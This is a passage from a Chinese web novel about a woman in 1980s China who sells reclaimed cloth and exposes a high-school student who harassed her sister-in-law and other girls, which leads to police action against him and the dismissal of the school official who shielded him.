蒋红梅也弄不清楚大妈大婶们是怎么算出来这个四舍五入的,反正就是原本最担心卖不出去的那些布料,现在是嘎嘎的好卖,好卖到后面几次赶集,她干脆就带了两三匹最好的那种来做对比。 这么一来倒是又解决了两个问题。 一个是原本柳绵绵弄祛霉净,是想着自己祛除霉斑后再拿布料去市场上卖,但让谁来干这个事情,就又成了个问题。毕竟布料实在有点多,他们几个不是要赶集,就是要上班,唯一有时间的刘婶,根本也弄不了多少。 现在顾客都自己买了祛霉净回家弄,这方面的压力就大大减轻了。 另一个是柳绵绵原本是准备让刘婶喊几个人,在家一起把霉斑最少的那批布料自己处理一下,回头可以直接当正常布料卖。可问题是,柳绵绵估计刘婶她们处理的速度,应该跟不上卖的速度。 现在好了,大家都要卖霉斑最多的那些布料,霉斑少的,可以放在家里慢慢处理了。 巷子里在家没事干的大妈还挺多的,尤其儿孙都去上班上学了的,除了洗衣做饭之外,简直无所事事。 所以刘婶随便一喊,就喊了好几个大妈来帮忙,她们也不在乎柳绵绵给她们几块钱工钱,大家对亲手把长了霉斑的布料变回正常干净布料这件事,非常的感兴趣。 用后世的话来说,就是这件事本身就让她们感觉很有成就感。 当然,在这个过程中,这些家里经济条件不错的大妈们,顺便也买了一些自己亲手洗去霉斑的布料,有的还买了祛霉净。 而通过她们的口口相传,附近几条巷子的大妈大婶们很快也知道了,9号院沈家有便宜的布料和神奇的祛霉净卖,于是纷纷上门求购。 于是渐渐的,刘婶竟等于在9号院开了个布料和祛霉净的售卖点。柳绵绵给她算了提成,没过多久,刘婶就拿到了超过一百元的劳务费加提成。 比王叔一个月工资还多。 刘婶最近走路腰杆都是笔直的。 沈维舟那边,参考柳绵绵的建议,和102厂的工程师一起优化了洗衣粉和洗衣液的配方,最后弄出来玫瑰香、柑橘香两种香型。 同样是柳绵绵的建议,沈维舟这回没有直接把配方卖给102厂,而是和他们签订了分成合同。 其实在沈维舟找到102厂生产祛霉净的时候,102厂就已经因为没有订单停工半个月了。厂领导绞尽脑汁也想不出,他们这么个做军工原材料的厂子,能转型做什么。 听说化肥需求很大,他们正准备向上级争取一下,转型生产化肥。虽说已经有其他兄弟单位在争取这个项目,甚至比他们更有优势,但实在没办法,怎么的也可以去试试。 然后沈维舟就找上门了。 哪怕量很少,但102厂的人一评估,发现这东西有一定市场需求,而且比化肥更适合他们生产,也正因此,才干脆利落地向沈维舟购买了配方。 产品生产出来以后,他们很快送往了各大供销社和百货商店,意外发现销量竟然还不错。 而且,他们的销售员联系纺织厂和服装厂时,更是受到了他们的热情欢迎。尤其服装厂的人情绪分外激动,说是如果他们这东西能早点生产出来,他们厂子那批长了霉斑的布料没准就不用低价处理掉了。 而让102厂更为惊喜的是,在祛霉净之后,沈维舟竟然又给了他们一份洗衣粉和洗衣液的配方。 好嘛,军工转日化的路子算是被他们走出来了。 就这个又香又好洗的洗衣粉和洗衣液,102厂的人表示,他们绝对有信心,卖出南城,卖到首都和沪市,甚至卖到国外去! 出完点子的柳绵绵自然又回到了她每天上西餐厅弹琴的规律生活。 这天中午,柳绵绵下班回到9号院,碰见匆匆忙忙往外走的刘婶,刘婶心不在焉的,差点撞在她身上。 “刘婶,怎么了?” 看到柳绵绵,刘婶松了口气:“我正要去找你呢,学校打来电话,说维云犯事了,老师叫了公安,还让家长也赶紧过去,我给研究所和国防工业办都打了电话,没有人接。” 第42章 一出手就吓死人 听说沈维云出事,柳绵绵心里咯噔了下。 原书里,沈维云在高考前和同学谈恋爱,被人散播出来,闹得沸沸扬扬,加上家里接二连三出事,她也不敢和家人坦诚,受不了压力在高考前一晚从宿舍楼跳了下来。 柳绵绵一直觉得这个情节很割裂,因为但凡真正了解沈维云的性格,就会知道她不可能是恋爱脑,她明明有一颗事业脑,而且,既然崇拜又敬畏她的哥哥,想要像她的哥哥一样做一个优秀的人,也想学习医术医治她的哥哥。 这段时间以来,但凡沈维云回家,柳绵绵都会旁敲侧击打听她在学校的情况。沈维云一点都不像在学校谈恋爱的样子,说起学校的男同学,甚至都是一副“提那些手下败将做什么”的态度。 绝对没有谈恋爱。 而且,家里也没出什么事,沈维舟、俞婉都好好的,她目前最大的压力就是高考,但是她成绩名列前茅,这点压力她完全能够承受。 正是因为确信沈维云不会有什么问题,突然听说她出事,柳绵绵才更惊慌。 毕竟这其实是个小说世界,哪怕在柳绵绵看来,原书男女主不管是能力还是品行,似乎都有点“德不配位”,但说不准就有什么主角光环、剧情作用呢?比如非得让他们这些配角、炮灰去死之类的。 柳绵绵怀着忐忑不安的心情,和刘婶一起来到学校。 登记签字后,保卫科的同志亲自将他们带到学校行政楼一楼的政教处办公室。 看到叉着手,好端端站在那里的沈维云,柳绵绵一直提着的心才算落了回去,她走过去:“各位好,我是沈维云的嫂子。” 看见柳绵绵,沈维云冷淡尖锐的表情缓和下来,委屈地喊了声:“大嫂。” 又冲刘婶打招呼:“婶子。” 柳绵绵走到她身旁,拍拍她的手臂,说:“别怕,交给大嫂。” “哦哟,她怕什么呀,她胆子大着呢,拿毒药给我儿子泼成这样,她还怕?!我们才害怕呢,要不是运气好,我儿子都要被泼瞎了!” 办公室另一侧站着三个人,戴副眼镜、脸上皮肤有点红的男孩,同样戴着眼镜皱着眉头的中年男人,还有穿连衣裙蹬高跟鞋的中年女人。 说话的正是中年女人,她挑剔地看了眼柳绵绵,不满说:“你们家怎么回事,出了这么大的事情,父母都不过来的吗?” 站在办公桌前的政教主任和班主任对视一眼,班主任赵老师冲柳绵绵笑笑:“同志,我是沈维云他们的班主任,我姓赵。我们通知家里,是希望沈维云的父母能来一趟,你看?” 柳绵绵也冲她笑笑:“学校让家长来一趟,我公公婆婆单位最近都比较忙,一时走不开,所以就让我过来了。我是她大嫂,长嫂如母嘛,有什么事情和我说也是一样的。” 高跟鞋女人嗓门有点尖:“她弄伤我儿子,我们要报警抓她去坐牢,你也能负责?” 柳绵绵看她一眼,冷淡道:“前因后果说清楚了吗,到底怎么回事调查清楚了吗,伤情鉴定清楚了吗,警察都还没来呢,究竟谁该去坐牢可不好说。” 眼镜中年男皱着眉头插嘴:“小同志,我儿子受到了伤害,这是板上钉钉的事实,警察来了,你们也推卸不掉责任。” 眼镜男生撩起眼皮偷偷看了沈维云一眼,动了动嘴,没说话。 柳绵绵笑了下:“老同志,既然大家各执一词,干脆就等公安来了再说吧。”不管实际年龄几岁,但凡摆出这种倚老卖老姿态的,柳绵绵一律都划归“老登”,嗯,客气一点就喊老同志好了。 眼镜中年男:“……” 他虽然喊对方小同志,可并不愿意人家喊他老同志。 政教主任皱了皱眉,他们喊沈维云的家长过来,原本是抱着大事化小、小事化了的心态的,家长批评一下,让沈维云给对方认个错,再赔偿点钱也就是了。 哪知道沈家父母没来,来了个比沈维云年纪大不了几岁的嫂子,年轻人毛燥冲动,一点没有息事宁人的意思,旁边那个年纪大一点的婶子,估计只是亲戚,说不上话,而且明显也不是能做主的人。 政教主任不满地瞥了赵老师一眼,觉得她这个班主任工作实在是没做到位。 他开口说:“沈维云和贾科学两位同学之前起了一点小矛盾,不过是争执了几句,沈维云同学就拿出一瓶不明液体,兜头泼了贾同学一脸,造成他脸部受伤。校医已经看过了,确实是受到了灼伤,这种天气不好好处理的话,很可能会留下疤痕。” 顿了下,他严肃道:“这个事情,沈维云同学确实应该向贾科学同学道歉。” 随即他又缓和了语气,说:“距离高考已经没几天了,学校也不希望因为这些事情影响两位同学的备考状态,所以我建议,沈同学向贾同学道个歉,你们再赔偿一些贾同学的医药费,大家握手言和如何?” 柳绵绵算是看出来了,学校就是个和稀泥的态度,不管前因后果,就想赶紧把事情给摁下。 之前刘婶说老师叫了公安,柳绵绵怀疑刘婶在电话里听错了,就学校这态度,根本不可能喊公安,公安多半是对方家长喊的。 她笑笑,说:“我们家维云因为一点小矛盾,就拿出不明液体泼了同学,还造成他脸部受伤,可能留下疤痕。小矛盾是什么,不明液体是什么,脸部伤害到底多严重,这些事情不弄清楚,咱们怎么能放心?我看贾同学的父母,也不是那种在乎赔偿费的人,咱们还是等等吧。” 贾家人:“……” 一开始打电话报公安,纯粹是听说孩子脸被泼伤了,怕真是毁容或者怎么的,可到了学校以后,发现伤并不严重,其实他们现在更倾向于向对方要点赔偿。 看对方的衣着打扮,这家子明显是有钱的。 可他们总不能说,他们等在这里,就为了等沈家人过来要赔偿吧? 政教主任还想再劝,可不管他威胁利诱软硬兼施,柳绵绵就是一句话,不放心,等公安来查清楚。 没多久,公安就过来了。 柳绵绵看对方有点眼熟,没等想起这人是谁,对方也打量了她几眼,忽然说:“柳绵绵同志。” 几乎同时,柳绵绵也想起来了:“真巧,又碰见您了。”这不就是当初朱永齐被抓,她去派出所时给她做笔录的公安同志嘛。浓眉大眼,正气凛然的,和沈维舟的发小林哲是同事来着。 见他们一副熟稔的样子,高跟鞋女人不干了:“你们认识啊,那这还能公平公正地处理吗?” 公安同志看向她,正色道:“我叫项建国,如果你觉得我在执行公务过程中有任何违规的地方,欢迎上派出所检举。不过既然你有疑问,我可以稍微解释一下,我和柳同志就见过一次,我给她做过一次笔录,之所以还认识她,是因为她在做笔录的过程中给我们提供了非常重要的线索,帮助我们迅速破获了一起入室盗窃案。” “另外,我们执行公务都是两人一组,你就算不相信我,也该相信我的同事,会公平公正地处理。” 另一位公安点头,说:“我叫袁朝,欢迎群众监督。” 政教主任打圆场:“这两位都是咱们辖区的公安同志,工作认真负责,肯定会公平公正的。” 稍作停顿后,他又说:“不过两位同志,这件事其实就是两个同学之间起了一点口角,女同学脾气冲,泼了一些液体在男同学身上,不过我们校医看过了,没有造成什么大的伤害。我们学校是建议双方调解一下,道个歉赔点钱就算了,也不用给你们添麻烦。” 柳绵绵听得连连冷笑。 刚才跟她说就是不明液体,现在到了公安面前就是一些液体,还有,刚才说差点毁容,现在就成了没有造成什么大的伤害。 这位政教主任可真是懂得“语言的艺术”。 刚才想让她们认下道歉和赔偿,就把事情故意说得很严重,现在想公安不要管,就把事情讲得轻描淡写。 原书虽然没有仔细描写沈维云是怎么一步一步走上跳楼的绝路的,但是自从进了这个学校,见到政教主任和班主任,柳绵绵几乎就能想象,原书中的沈维云,在学校里面对的是什么样的压力。 学校只想息事宁人,既不会细究到底发生了什么,也不会追究散播谣言者的责任,只会一再让受害者隐忍。 柳绵绵可不是什么会隐忍的性格,她忽然开口:“项公安、袁公安,我怀疑这位贾科学同学骚扰我妹妹,而学校不知出于什么目的,想要帮忙掩盖对方的犯罪事实,希望你们严查。” 一言出,整个办公室里瞬间陷入死一样的寂静。 就连沈维云,都是满脸震惊地看着她。从柳绵绵她们进门,沈维云除了打招呼外,别的什么也没说。 她其实也很矛盾要不要说,她怕自己说了没人相信,也怕自己说了以后其他人会像舍友一样说“为什么他不找别人单单找你,是不是你自己有什么不妥当的言行”,更怕家人觉得她在高考前夕和学校的男同学不清不楚,对她失望。 沈维云怎么也没想到,大嫂会猜到。 她扭头悄悄擦了一下眼角。 “什么叫我儿子骚扰你妹妹,什么意思,你不要胡说八道冤枉人!”高跟鞋女人尖叫起来。 “哦,就是你儿子想对我妹妹耍流氓,结果被她泼了辣椒水制止了。”柳绵绵淡淡道,“你要觉得我胡说八道冤枉人,公安不是在这儿嘛,相信公安同志会调查清楚的。” “还有,我怀疑受害者不止我妹妹一个,也请公安同志一起调查。” 政教主任的脸色已经接近铁青了:“柳同志,你这种无端的猜测,实在是害人害己,一个小姑娘,沾上这种事,也不是什么好事,我建议你还是回家和你公公婆婆再商量一下?” 相信但凡是亲生父母,就不会允许孩子沾上这种事。 “如果事实确如我所言,那么应该感觉到羞愧的人应该是行凶者而不是受害者。”柳绵绵捏了捏沈维云的手,“你觉得呢,维云?” 沈维云紧紧抓住她的手,重重地点头:“是的,做坏事的人才该羞愧。” 柳绵绵笑了起来。 她之所以没有先询问是沈维云,是因为她相信这个有点小娇纵但其实心性坚定、自信的沈维云不会被政教主任说的这些吓倒。 当然,她其实也有一点点私心,她想借此机会,为原书里那个沈维云讨个公道。 “正好班主任和政教主任都在,离高考没几天了,学校既然无法为学生创造良好的学习环境,考试前这段时间,沈维云就请假回家复习了。”柳绵绵又说。 赵老师:“……” 政教主任:“……” 他们当老师这么多年,还是第一次遇见这么刚的家长,一点面子都不给,一点余地都不留。 这是觉得离了学校沈维云也能考上大学了是吧?! 念头刚刚起来,俩人又不约而同想起沈维云的成绩,不得不承认,这几天回家复习,对沈维云的影响还真不大。 项建国和袁朝对视一眼,说:“既然如此,那请各位都回派出所协助调查吧!” 话音刚落,贾科学浑身一抖,脚下一软,突然一屁股坐在了地上。 他这副样子,摆明了是做贼心虚,这下别说公安看出来了,就连他父母都看出来了。 高跟鞋女人马上说:“是我们报的警,现在撤销,现在我们要撤销!她泼伤了我儿子,我们不追究了还不行吗,赔偿我们也不要了还不行吗?!” 还真不行。 最后,一群人还是去了派出所。 贾科学毕竟还只是个高中生,心理素质只能说一般般,面对审讯经验丰富的项建国和袁朝,三两下就把自己干过的事情交代完了。 他学习成绩不错,家里经济条件也还可以,在学校经常以“交朋友”的借口接触女生,女生愿意和他“交朋友”就最好,如果不愿意,他就会死缠烂打,甚至找对方落单的机会,做些出格的亲密举动。 被人看到也不怕,他会在男生寝室散播对方和他“处朋友”的谣言,女生往往不敢和他对峙,甚至还会因为害怕事情被老师或父母知道,而默认“处朋友”的说法。 他这些招数虽然拙劣,但是对付单纯的高中女生却已经是绰绰有余。 贾科学也是万万没想到,百试百灵的招数,会在沈维云这里遭遇滑铁卢。 当时教室里没有人,大家都去食堂吃饭了,沈维云还在那里解题,他走过去刚伸手搂住她,结果她就从桌兜里拿了一瓶什么东西出来,欻欻就泼在了他脸上。 火辣辣的疼。 那一刹那,贾科学真以为自己要毁容了。 他缠了沈维云有一阵了,沈维云虽然不理睬他,可也没有什么过激的反应,像其他女同学那样,哭或者骂,都没有。他是真没想到,沈维云是不出手则已,一出手就吓死人啊! 沈维云可不管贾科学怎么想,做完笔录后,她就跟着柳绵绵和刘婶一起回家了。 “大嫂,考试前我真的不用去学校了?” “嗯,你就在家复习好了,这几天你哥也在家,他会辅导你的。” 沈维云顿时感觉在家复习好像也没那么香了,她哥可严厉了,不过,“我哥不用上班吗?” 柳绵绵笑眯眯说:“你哥手头的项目做完了,今天在收尾,明天开始就闲下来了。” 由于担心原书剧情,她前两天就和沈维舟商量过了,想让沈维云提前回家里来待考。沈维舟自己说的,项目已经完成,他准备在家休息几天,正好能看着沈维云。 三天后,项建国亲自跑了一趟求知巷,告诉柳绵绵事情处理结果。 通过贾科学自己的交代和他们的走访调查,发现贾科学确实存在柳绵绵指控的情况,甚至去年他们学校一位女生休学,就是因为长期被他骚扰而产生了心理疾病。 而因为贾科学成绩不错,他父母也经常给班主任和学校领导送礼,加上校方一直秉持息事宁人、不让任何事情影响学校形象的方针,这颗毒瘤竟就这样一直长在了校园里。 考虑到学生马上就要参加高考,公安也是加班加点,快速查清了事实,拘留了贾科学,同时向学校和上级教育主管部门通报了这一情况。 据说,那位政教主任已经被免职了。 第43章 做生意太挣钱了(修) 学校里的事情,柳绵绵没有告诉沈维云,考试前这几天,家里尽量保持轻松愉悦的氛围,沈维云也很快调整好状态,心无杂念地投入最后冲刺。 沈伯康和俞婉知道沈维云的事情后,都很生气,要不是贾科学已经被关进派出所,沈伯康这个手无缚鸡之力的书生,都差点想亲自去揍那小子一顿。 对于柳绵绵的处理方式,他们自然也没有意见。这样品性的学生,如果没有人检举,任凭他发展下去,只会变本加厉,说不准以后会给更多的女同学造成伤害。 而且,他成绩不错,没准还会考入大学,走入工作岗位,尤其是在获得一定的地位后,其危害性就更大了。 毕竟,高考只能筛掉学渣,可筛不掉这种人渣。 在高考前把人送进派出所,倒也算是为民除害了。 不过这件事也让沈伯康和俞婉深刻意识到,他们对女儿的关心非常不够,于是七月初开始,两人就都和单位请了假,亲自在家陪女儿复习,等到了考试这几天,也亲自送女儿进考场。 沈维云被放养了这么多年,偏偏在最紧张的一段时间,感受到了父母对她深沉的爱,只能说是痛并快乐了。 高考最后一天,沈维云从考场里出来,看到全家人都站在考场外的大榕树下,马上露出笑容,奔跑了过来。 “终于考完了,我解放了!” 正好是星期天,柳绵绵也不用上班,一家子决定出去找个馆子吃顿好的。本来还喊了刘婶他们一起,不过刘婶和王叔都帮王志远摆摊赶集去了,说是回来就不折腾了,准备随便吃点就休息。 大夏天的,柳绵绵是觉得吃龙虾是最过瘾的,可惜这时候还没有卖小龙虾的排挡,小龙虾真正风靡起来,成为夏日不可或缺的美食,得等到九十年代末了。 考虑到沈维舟的身体,最后大家还是选了一家老字号的淮扬菜馆子。 随着政策逐渐放开,各种私人的馆子、商店越来越多,尤其是一些早年被关停的老馆子,但凡是大厨还健在,或者是家里还有传承的,这两年都像雨后春笋似的冒了出来。 这家馆子味道就很不错,柳绵绵尤其喜欢水晶肴肉和蟹粉狮子头这两道菜。 嗯,肉食动物无疑了。 吃完饭回到家,刘婶他们也已经吃过晚饭,正坐在院子里吃着西瓜乘凉。西瓜据说是在大集上买的,薄皮,红壤,脆甜,简直秒杀菜场的一切瓜。 “哦哟,这瓜可真好,关键还便宜,我们直接买了十个,刚到巷子口,就被老邻居们分走了五个。” 刘婶兴高采烈地说完西瓜,又说起卖布的事,“咱们那个布料啊,和正常布料没有区别,花色还好看,还便宜,人人都抢着要呢,哦呦,我裁布裁得手都要断啦。” 他们一共拿了三十多匹布,柳绵绵给他们算三块钱一匹的提成,一天下来足足挣了百来块。 一天挣百来块啊,刘婶就是做梦也从来没敢梦这么大过。 沈维云在一旁蠢蠢欲动:“志远哥,明天还去吗,能带我一起吗?” 王志远挠挠头:“天气热,白天太阳太晒了。” 沈维云一颗想放飞的心,哪里是区区烈日所能阻挡的,她表示社会主义接班人,不怕苦不怕累,能顶风冒雪干革命! 好嘛,第二天王叔上班,她就顶了王叔的岗,和刘婶、王志远一起出门了。 等到傍晚回来,原本和沈维舟差不多白的皮肤,肉眼可见的比沈维舟黑了一个度。不过她自己乐呵得很,特别是在柳绵绵把提成算给她的时候,柳绵绵感觉她的眼睛都闪闪发亮了。 后面连着又跑了几天,等到最后一批布料也卖完,沈维云的肤色基本上就已经和沈维舟一个天一个地了。 几个人站在一起,她倒是更像是王志远的妹妹,都是皮肤黢黑,一笑一口大白牙。 不过,辛苦自然也没有白费,就这段时间,沈维云可是挣了两百多的提成。 全部布料都卖完了,这天,大家一起坐在院子里算账。 蒋红梅和刘安民也晒得黢黑,不过俩人都高兴的不行,扣除七七八八的费用之后,这批布料一共挣了八千多块钱。柳绵绵和他们说好的,投资她出大头,卖货主要靠他们,利润平分。 蒋红梅不肯,说他们卖货已经拿了提成,柳绵绵想了想,把给他俩的提成加回去,然后重新一分为二。 除了布料,祛霉净也卖了不少,利润能有一千多,这部分柳绵绵给他们都算了提成,剩余的利润归沈维舟。 也就是说,他们夫妻俩这一波挣了五六千元。 就连沈伯康这样视金钱如粪土的性格,都忍不住感叹了一句,做生意太挣钱了。 他这样的级别,一年也挣不到这么多工资。 “我们想去广市看看。”蒋红梅说。 刘安民父母一个在军工厂上班,一个在食品厂上班,都是好单位,可耐不住孩子太多,家里经济条件实在一般。他排行老三,下面还有弟弟妹妹,两头靠不到,从小就不受重视。跟蒋红梅合伙儿的那点钱,也是自己到处打零工一点点攒的。 他们卖服装和布料这么长时间,对市场也有了一定了解,就想着继续把这行做下去。 现在兜里也有了点本钱,蒋红梅一直记着柳绵绵当初说广市布料和服装便宜的事情,和刘安民一商量,俩人准备一起南下看看。 “需要我投资点吗?”柳绵绵问。 蒋红梅从来都不是扭捏的性格,说话向来直来直去:“当然要,就我和刘安民这点钱,能挣多少货?” 柳绵绵笑道:“我这只出钱不出力,总感觉是在剥削你们。” 蒋红梅挥挥手:“少说这种屁话,你要不投钱给我,我俩扑腾到现在,能挣个一千块钱,都算本事不错了。” 做生意就是需要本钱,就好比这回,要不是柳绵绵能拿出那么多钱,服装厂这批货他们想都不要想。 本钱越多利润就越多,话费同样的时间和精力,谁不想多挣一点? 他们没有本钱,就多出点力气,柳绵绵有钱,就少出点力,在蒋红梅看来,这再公平不过了,甚至还是他们赚了。毕竟能出力气的人多的是,能这么放心把钱投给他们的,除了柳绵绵,她蒋红梅还真找不出第二个人了。 “行,那我出五千。”柳绵绵把刚刚到手的钱点了点,又点了五千递给蒋红梅。 蒋红梅瞥一眼沈维舟,发现他自顾看着一本写满了洋文的杂志,眼皮都没抬,仿佛柳绵绵给她的不是五千块钱,而是五十块钱一样。 又看一眼沈伯康和俞婉,也都是一脸不在意的样子。 回想当初柳家嫌弃乡下来的亲生女儿给他们丢脸,偷偷商量着给人嫁进沈家……别说,她还不小心听见过他们家商量这个事情呢。不过半年时间,两边都境况已经一个天一个地了。 “对了,听说柳锦诗去西北了。”蒋红梅最近一直忙着,待在家里的时间很少,也就是这两天布料卖完了,才终于在家歇了两天,这才听说了一些军工大院里的“新闻”。 柳锦诗这样曾经的“天之骄子”,被安排去扫地,让整个军工大院的人都唏嘘了好一阵子。不过,能继续待在厂里,也是她妈成天去厂里闹的结果了。 哪知道,柳锦诗突然不声不响地辞职了。 “军工厂最近来了个新的副厂长,部队转业过来的,叫沈文山。”蒋红梅看了眼沈家人,“厂里有人说这位副厂长是伯父的弟弟?” 她这小心翼翼的样子把沈伯康给逗笑了,他坦荡道:“从血缘关系上可以这么说,他是我父亲后面妻子的孩子。” 蒋红梅秒懂,从血缘关系上来说是兄弟,但从情感上来说,根本不想认这个弟弟的意思,对吧? 柳绵绵好奇问:“他转业到军工厂了啊?”老爷子办事果然是一点都不含糊,说让沈文山转业就真的让他转业了。看沈伯康和俞婉的表情,他们应该是知情的,只不过他们向来不太在家里提那一家子的事情。 她想了想,说:“沈维鸿也去西北了吧,所以柳锦诗是跟着沈维鸿去的?” 蒋红梅一脸八卦:“大院里的人在传,说沈副厂长的公子去西北研究所报效国家了,柳锦诗好像和他关系非同一般,直接辞职跟着去了。” 柳绵绵心说,军工大院的人八卦能力很强啊,这消息应该是八九不离十了。 不过,这么一来,原书的剧情好像就面目全非了。男主远走西北,女配千里相随,女主好像是个事业脑,不知道是会跟着男主去西北,还是留在书城寻找商机? 柳绵绵并不知道,自己弄到的这批布料,江映雪也曾经想要争取。 只是江映雪的钱被沈维鸿拿去投资倒卖化肥,后面血本无归。沈维鸿倒是七拼八凑地还了她一些,可离拿下服装厂的瑕疵布料还差一大截,最后也没买成。 不管怎么说,柳绵绵是巴不得这几个人离得远远的。她潜意识里总觉得这几个人有点“不祥”,容易给沈维舟他们一家人带来不好的事情。 有种“此消彼长”的感觉。 这是一种看过原书剧情后,莫名其妙产生的一种直觉,柳绵绵也不管是不是自己胡思乱想的,反正不喜欢的人,离得越远越好,总是没错的。 “走走走,摘菜去,红梅安民你们留下来吃饭吧。”柳绵绵没再多想沈维鸿的事情,看了眼擦黑的天色说。 后院当初余国梁种的几畦菜长势不错,尤其是王志远来了以后,别看他成天早出晚归的,竟然还腾出手拾掇了一下菜地,最近菜地里的番茄、黄瓜和缸豆都一茬一茬地长。 沈维云跟屁虫一样跟着,摘了个红彤彤番茄就啃,边啃边说:“红梅姐去南方了,那这个暑假我和志远不是又没事干了?” 这是赶集都赶出趣味来了啊,柳绵绵哭笑不得,摘了两把缸豆,忽然脑子里灵光一闪,说:“要不咱们去安县玩几天?” 前阵子余国梁打电话来,说爹妈都挺想她的,让她要是有时间,就抽空回家一趟。 柳绵绵想着当初原主做的那些事,应该是很伤养父母的心了,原本也想着什么时候回去一趟,既如此,倒是也不用非得等到余国栋结婚再回去了。 反正安县离南城也不算太远,顶多余国栋结婚的时候,再跑一趟就是了。 沈维云顿时兴奋起来:“好呀好呀。” 很快又皱起眉头:“大嫂,你要上班的呀,哪有时间去哦?” 柳绵绵笑眯眯:“我们餐厅又招了个钢琴师,以后我们俩轮流上班了。” 原本周日兼职的那位辞职了,这回招的是个音乐老师,这年头各种艺术比赛还很少,也没多少人走艺术特招的路子,音乐老师的工作非常清闲。反正据柳绵绵观察,这位金老师打着两份工,也非常的轻松。 虽然两个人轮流上班以后,工资少了很多,但现在柳绵绵手握“巨款”,倒是也不是很在意西餐厅的工资了。 正好现在暑假,金老师说了,暑假都交给她也没问题。 柳绵绵听阿琳说过,金老师的小孩身体不好,她这么拼命挣钱,是想攒钱带孩子去京市或者沪市的大医院看病。 去安县的提议受到了沈伯康和俞婉的支持。柳绵绵和沈维舟结婚这么久,按理确实应该去养父母家拜访一下,只是沈伯康和俞婉前阵子请假太多,这段时间不好再请假。 于是一家人商量了下,决定由沈维舟请几天假,和柳绵绵一起回去。又考虑到沈维舟的身体,最后决定让暂时还是无业游民的王志远陪着他们一起去,也好有个照应。 几天后,柳绵绵他们将脸上抹了灰、身上穿得破破烂烂的蒋红梅和刘安民送上了火车,然后又拎着包袱去了隔壁的汽车站,坐上了去安县的汽车。 安县前进乡留下村。 一群人从村委会办公室里出来,余老大家的都皱着眉头,尤其余永诚,盯着大儿子余国梁瞪了两眼,这才迈着不太利索的脚步,气呼呼地走了。 余国梁的媳妇儿叶兰也是愁眉苦脸,拽着丈夫嘀咕:“一年一百五十呢,咱们手里统共也就攒了两百来块钱。”他们能攒这么多钱,还是因为余国梁是村里的会计,每个月能拿十几块钱工资。 结果这么多年省吃俭用攒下来的钱,余国梁一下子就给花完了,承包了村里后山的一大片山地和一口池塘。 池塘养鱼或许能挣一点,那一大片山地有什么用,那么瘦的地,谁都不要,村里才统一给承包出去的。 本来余国梁有工资,叶兰自己平时也能做点小活儿,跟村里其他人比起来,他们家生活条件其实算挺好的了。 现在好了,怕是他们很快就要变成村里最穷的了。 二叔余永丰从他们身旁走过去,回过头叹了口气,说:“国梁啊,我看你是去了一趟南城,看了外面的花花世界,心也就跟着野了。咱们庄稼人,田地才是根本,你承包一片瘦地和一口池塘,真以为能靠着这些发家?养鱼也不是鱼苗放进塘里,鱼就能长起来的哦。” 二婶杨巧巧跟在后头,说:“国梁,别听你们二叔的,我看你是个能耐的,准能挣大钱。” 话说得好听,可听着总觉得像讽刺。 自从前年他家不知从哪儿发了笔财,走了关系给儿子塞进乡里做了临时工,原本木讷老实的杨巧巧好像都变了。 等他们走远了,余国栋才呸了一声,翻了个白眼。 他拍拍余国梁的肩膀,说:“大哥,你放心,真亏钱了,咱们就一起去南边打工挣钱还债,我听说南边现在很多工地都招人,一个月能挣七八十。” 第44章 一家子戏精 余国梁觉得二叔说他去了一趟南城心就野了,倒也没错。确实是去了南城,看到满大街的小商小贩,看到老幺一天能挣那么多钱,他心里就痒痒的,总想也干点什么。 不过他也不是一时冲动,从南城回来这些日子,他一直都在考虑。 安县离南城倒是不算太远,尤其他们前进乡,是安县最靠近南城的一个乡镇,去县里还没去南城方便,不然当初他娘难产,也不会直接往南城送了。 这就是老幺说的什么区位优势了。 只是这个区位优势怎么才能换成钱,余国梁一直模模糊糊的没想明白。 这几年村里倒是也有人种菜养鸡,拿去乡里卖,能挣一点,不过挣的也都是小钱。至于拿去南城卖,一个是加上路费不划算,还有一个是大部分人没去过南城,压根就不敢想把东西卖到南城去。 这阵子余国梁一有空就到处晃悠,晃悠来晃悠去,终于晃悠出了点眉目。 村尾那口塘之前都是村委每年卖点鱼苗扔下去,平时也不怎么管理,唯一的管理就是不准村民偷鱼,抓到一次罚钱十元。十块钱可是大钱了,村里除了一两个特别没皮没脸的,还真没人敢偷鱼。 只是平常没人照料,这鱼其实也养得一般般,每年能捞个一两百斤给大家分分,过年添个肉菜就算不错了。 余国梁平时工作认真,为人也踏实,加上他算账特别快,所以乡里才会安排他一起去南城买化肥。这回买化肥,他和乡里的干事每天一起排队一起吃饭后面还一起担惊受怕,算是结下了深厚的革命友谊。 这不,有了承包鱼塘的想法后,余国梁就找乡里的干事商量,干事又给他介绍了乡里的技术员。 就连余家人都不知道,余国梁前阵子带着技术员来村里看过,技术员收集了些塘水和土壤回去检测,得出结论,这个池塘是很适合养鱼的。 按照技术员的测算,好好管理的话,一年出产个五百到一千斤鱼没问题。 至于鱼塘旁边的山地,地是瘦了点,种庄稼肯定不行,但技术员告诉他,这个地种花生是很合适的,那么大一片山地,都种上花生的话,一年收个几千斤花生是不成问题的。 技术员还向他介绍了什么套种法、什么种养循环模式,据说都能让产量得到大幅度的提高。 可惜的是,乡里的技术员文化程度有限,这些东西都是他在报纸和资料上看到的,具体怎么操作,他并不清楚。 就算如此,余国梁也很激动了。 哪怕往少了算,一年能产五百斤鱼和一千斤花生,要都能卖出去,也得有两千块钱的毛收入,就算利润只有一半,也能挣一千块钱。 这在农村,那就是超超超高收入了。 余国梁自己就在村委,早知道村干部们想把池塘和荒地承包出去,给村里增加点收入,也算是他们村委的一点成绩。他也知道村里的承包价是定在一百三到一百八之间,有人愿意承包就高一点,没人就少一点。 他主动向村委报了名,结果村里发通知、开会动员,到最后也没有第二个人报名。 余国梁也没有抠着底价和村里谈,最终和村里签了个一百五十元承包价的协议。 他心里有底,觉得按照技术员的测算,怎么也不至于亏钱,但毕竟是人生第一次做这么大的决定,难免还是紧张,毕竟鱼没养起来、花生没种出来之前,一切都是未知数。 这件事余国梁事先没有和任何人商量,因为他知道向来小心谨慎的父母是不会同意冒这个险的,至于他媳妇儿,耳根子太软了,被旁人一撺掇,没准反倒坏他的事情。 现在承包合同已经签了,钱已经交出去了五十,事情已经没有转圜的余地,伸头一刀,缩头也是一刀,余国梁倒是放松了下来。 是亏是赚,反正就在这一年了。 实在不行,就像老二说的,回头去南边打工也能把钱挣回来。 余家一共就两间房,老两口和闺女住东面一间,余国梁兄弟俩住西面一间,都是砌墙分了前后截。屋子前面有个不大的院子,院子角落盖了间低矮的厨房,厨房外面搭了个茅草棚子,放柴火杂物用。 余国梁路上被人拉住说了会儿话,回到家里就见他奶杨老太站在院子里,单手叉腰在那儿骂人。 